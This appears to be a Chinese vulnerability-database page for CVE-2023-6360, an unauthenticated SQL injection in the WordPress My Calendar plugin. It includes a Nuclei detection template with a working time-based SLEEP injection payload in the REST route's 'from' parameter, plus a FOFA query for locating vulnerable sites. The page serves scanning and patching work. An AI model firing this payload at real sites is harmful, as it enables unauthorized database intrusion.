CVE-2023-6360: WordPress My Calendar <3.4.22 - SQL Injection

日期: 2025-08-01 | 影响软件: WordPress My Calendar | POC: 已公开

漏洞描述

WordPress My Calendar plugin versions before 3.4.22 are vulnerable to an unauthenticated SQL injection within the 'from' and 'to' parameters of the '/my-calendar/v1/events' REST route.

PoC代码[已公开]

id: CVE-2023-6360

info:
  name: WordPress My Calendar <3.4.22 - SQL Injection
  author: xxcdd
  severity: critical
  description: |
    WordPress My Calendar plugin versions before 3.4.22 are vulnerable to an unauthenticated SQL injection within the 'from' and 'to' parameters of the '/my-calendar/v1/events' REST route.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to perform SQL injection attacks, which could lead to data theft, database compromise, or further attack vectors.
  remediation: Upgrade to My Calendar plugin version 3.4.22 or later.
  reference:
    - https://www.tenable.com/security/research/tra-2023-40
    - https://www.joedolson.com/2023/11/my-calendar-3-4-22-security-release/
    - https://wordpress.org/plugins/my-calendar/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6360
    - https://github.com/JoshuaMart/JoshuaMart
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-6360
    cwe-id: CWE-89
    epss-score: 0.88061
    epss-percentile: 0.99455
    cpe: cpe:2.3:a:joedolson:my_calendar:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: joedolson
    product: my_calendar
    framework: wordpress
    fofa-query: '"wordpress" && body="wp-content/plugins/my-calendar"'
  tags: cve,cve2023,sqli,wp,wordpress,wpscan,wp-plugin,my-calendar,joedolson

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/my-calendar/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'My Calendar'

  - raw:
      - |
        @timeout: 20s
        GET /?rest_route=/my-calendar/v1/events&from=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(2)))a)+AND+'a'%3d'a HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "application/json")'
          - 'contains(body, "[]")'
          - 'duration >= 6'
        condition: and
# digest: 4b0a004830460221009b79fa202eb779a3da716e991adb6e51b01199c7916b6a5f6c0ba3103e1e3e78022100f7e2b751d7bdae781a6727ee52350f505bdaf11bd41e97919aedec11a7eba332:922c64590222798bb761d5b6d8e72950

相关漏洞推荐